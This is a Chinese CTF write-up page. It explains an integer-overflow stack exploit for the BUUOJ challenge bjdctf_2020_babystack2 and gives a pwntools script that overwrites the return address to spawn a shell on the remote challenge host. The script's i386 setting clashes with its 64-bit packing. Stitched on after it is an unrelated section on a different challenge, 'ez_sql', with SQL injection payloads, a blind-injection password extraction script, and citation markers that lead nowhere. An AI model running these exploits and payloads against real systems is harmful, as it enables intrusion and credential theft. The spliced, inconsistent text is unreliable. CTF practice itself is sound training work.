[BUUOJ]bjdctf_2020_babystack2

博客围绕bjdctf_2020_babystack2展开,该程序为64位小端序。IDA分析未发现明显输入溢出逻辑,但找到后门函数。经观察,数值存在从int到unsigned int的强制转换,判定为整型溢出。输入-1可突破长度限制,借此修改返回地址以getshell。

bjdctf_2020_babystack2

checksec是64位小端序,IDA分析看没找到明显的输入溢出逻辑,但是找到了后门函数,再仔细观察发现数值里面有强制转换,有一部分从int转到了unsigned int,因此可以初步判定为整型溢出,如果我输入-1即可突破长度为10的限制,所以以此下手即可成功修改返回地址,getshell

from pwn import *
from LibcSearcher import *

#context.log_level="debug"

context(os='linux',arch='i386', log_level = 'debug')

#p=process('./bjdctf_2020_babystack2')
elf=ELF('./bjdctf_2020_babystack2')
p=remote('node4.buuoj.cn', 29027)

p.recvuntil('name:\n')
p.sendline('-1')

payload = b'a'*(0x10 + 8) + p64(0x400726)
p.sendline(payload)
p.interactive()
### 关于BUUOJ平台上的 `ez_sql` 题目解析 在BUUOJ平台上,`ez_sql` 是一道经典的SQL注入练习题。这类题目通常旨在测试参赛者对于SQL语句构造的理解以及如何利用输入验证漏洞来获取数据库中的敏感数据。 #### SQL注入基础原理 SQL注入是一种常见的安全漏洞,攻击者通过向应用程序提交恶意的SQL代码片段,从而改变原本预期执行的查询逻辑[^1]。这种技术可以用来绕过身份认证、读取敏感数据或者破坏数据库结构。 针对 `ez_sql` 这类挑战的具体解决方法如下: #### 利用布尔盲注提取信息 如果目标应用返回的结果页面会因为不同的条件而有所变化,则可以通过发送一系列精心设计的请求逐步推断出隐藏的信息。例如,在登录界面尝试使用 `' OR '1'='1 --` 的方式强制让WHERE子句恒成立以实现未授权访问[^2]。 #### 时间延迟法探测字符 当无法直接观察到反馈差异时,可采用基于时间的盲注技巧。这涉及到构建能使服务器响应变慢(取决于特定条件下触发sleep函数)的payloads, 如 `IF(SUBSTRING(@@version,1,1)=5,SLEEP(5),0)` 来判断MySQL版本号的第一个数字是否为5[^3]。 以下是Python脚本的一个简单例子用于自动化上述过程的一部分: ```python import requests from string import digits, ascii_lowercase url = "http://example.com/login" charset = digits + ascii_lowercase result = '' for i in range(1, 21): found_char = False for char in charset: payload = f"' AND (SELECT SUBSTR(password,{i},1) FROM users WHERE id=1)='{char}'-- " data = {'username': payload, 'password':'random'} response = requests.post(url, data=data) if "Welcome" in response.text: result += char print(f"[+] Found character {char} at position {i}") found_char = True break if not found_char: break print("[*] Final password:", result) ``` 此代码仅作为学习用途展示可能的技术手段,请勿非法入侵任何系统!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值